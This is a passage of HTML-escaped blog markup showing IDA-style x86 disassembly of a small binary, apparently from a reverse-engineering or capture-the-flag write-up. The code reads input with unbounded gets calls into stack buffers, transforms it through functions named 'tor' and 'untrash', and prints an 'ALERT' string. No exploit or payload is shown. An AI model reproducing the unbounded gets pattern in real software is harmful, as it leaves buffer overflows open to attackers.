lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+10C4h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+4Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+2068h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+39h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+8F4h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+1Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+1Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+124h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h],&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A47&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048A0D:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+206Ch]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [eax]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmp&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+2064h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jnz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A3F&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+9Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aAlertS ; &quot;ALERT: %s\n&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048A3F:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h], 1&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048A47:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmp&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h], 